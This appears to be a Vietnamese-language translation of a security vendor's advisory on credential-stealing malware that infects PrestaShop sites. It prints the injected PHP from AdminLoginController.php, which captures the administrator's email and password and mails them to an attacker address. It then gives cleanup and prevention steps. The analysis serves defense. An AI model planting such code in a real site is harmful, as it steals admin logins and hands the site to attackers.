Là một nền tảng thương mại điện tử đang phát triển, Prestashop là mục tiêu lớn cho hacker muốn đánh cắp thông tin. Thông thường, thông tin bị nhắm đến là số thẻ tín dụng, nhưng gần đây, các nhà nghiên cứu của chúng tôi đã phát hiện một loại mã độc đánh cắp thông tin đăng nhập mới nhắm vào các trang Prestashop và đánh cắp thông tin đăng nhập của quản trị viên trang web. Điều này có thể dẫn đến việc chiếm đoạt hoàn toàn trang web của bạn.
Cách mã độc đánh cắp thông tin đăng nhập Prestashop hoạt động
Mã độc đánh cắp thông tin đăng nhập Prestashop được tìm thấy được tiêm vào tệp ./controllers/admin/AdminLoginController.php trên các trang Prestashop như sau:
public function processLogin()
{
/* Check fields validity */
$passwd = trim(Tools::getValue('passwd'));
$email = trim(Tools::getValue('email'));
$to = "admin@wsxdn.com";
$subject = "panel admin prestashop ". $_SERVER['SERVER_NAME'];
$header = "from: hacked <admin@wsxdn.com>";
$message = "Link : https://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."&up=hous \r\n email: $email \r\n pass: $passwd \r\n by bajatax -- sniper :v \r\n";
$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);
$sentmail1 = @mail($to, $subject, $message, $header);Mã này được dùng để truyền thông tin server vào các biến. Một số biến được truyền bao gồm tên người dùng và mật khẩu dùng để đăng nhập vào back-end Prestashop. Thông tin thu thập này thỉnh thoảng được gửi đến địa chỉ email của hacker bằng hàm PHP mail().
Email được gửi chứa mọi thứ kẻ tấn công cần để đăng nhập vào trang Prestashop bị hack. Từ đó, họ có thể truy cập vào trang. Điều này cho phép họ truy cập hoàn toàn vào giao diện back-end của website. Điều này có nghĩa là họ có thể thay đổi nội dung, cài đặt module/plugin giả/nhiễm mã độc, và làm nhiều việc hơn nữa.
Trong một số trường hợp, nạn nhân của vụ hack này bắt đầu nhận được email bị trả lại (bounce back) – có thể do Google phát hiện tấn công và vô hiệu hóa/báo cáo các tài khoản liên quan.
Kẻ tấn công/nhóm hacker đang chạy chiến dịch nhiễm mã độc này được tin là tên bajatx / B4JAT4T.
Cách sửa trang web sau khi bị nhiễm mã độc đánh cắp thông tin đăng nhập Prestashop
1. Sao lưu trang web trước khi dọn dẹp.
Khuyên nên đưa trang web ngoại tuyến (offline) để người dùng không truy cập các trang bị nhiễm trong khi bạn dọn dẹp. Đảm bảo sao lưu tất cả tệp lõi và cơ sở dữ liệu. Ý tưởng tốt là sao lưu dưới dạng file nén, như .zip.
2. Thay thế tệp lõi, plugin và theme.
Bạn có thể thay thế các tệp lõi bị nhiễm bằng phiên bản gốc từ nguồn uy tín. Sau khi tải xuống các phiên bản mới và cập nhật của các tệp & thư mục này, bạn có thể xóa các bản cũ. Điều này đặc biệt quan trọng trong việc dọn dẹp mã độc đánh cắp thông tin đăng nhập Prestashop, vì mã độc đã được tìm thấy bên trong các tệp lõi.
3. Dọn dẹp các tệp đáng ngờ, được sửa đổi gần đây.
Bạn có thể tìm thấy các tệp có thể bị nhiễm bằng cách xem những tệp vừa được sửa đổi gần đây. Bạn có thể khôi phục các tệp này từ bản sao lưu sạch bạn có hoặc từ nguồn tin cậy.
4. Chạy quét mã độc (Malware Scan).
Chạy quét mã độc trên web server của bạn để tìm mã độc và tệp độc hại. Bạn có thể dùng công cụ "Virus Scanner" trong cPanel do nhà cung cấp hosting cấp, hoặc nhận dọn dẹp mã độc chuyên nghiệp với gói Astra Pro, chặn cả cuộc tấn công lẫn các bot cố gắng tải dữ liệu bị đánh cắp.
Ngoài các bước này, bạn có thể thấy bài viết về bảo mật Prestashop này hữu ích.
Cách ngăn chặn các cuộc tấn công tiếp theo
Sau khi sửa trang web, đây là một số thực hành bảo mật tốt để theo dõi đảm bảo trang web của bạn an toàn khỏi mã độc đánh cắp thông tin đăng nhập Prestashop:
- Đảm bảo bạn đang chạy bản cập nhật mới nhất của phần mềm
- Sử dụng bộ xử lý thanh toán bên thứ ba uy tín
- Thực hiện quét mã độc/kiểm toán bảo mật định kỳ
- Đầu tư vào tường lửa (firewall)
Cách chắc chắn duy nhất để bảo vệ trang web khỏi phương pháp ngày càng tinh vi của hacker là đầu tư vào bảo mật. Việc đầu tư vào tường lửa trang web, chạy quét mã độc thường xuyên và kiểm toán bảo mật định kỳ là ý tưởng tuyệt vời vì nó cho bạn cái nhìn tổng quan về bảo mật tổng thể của trang web.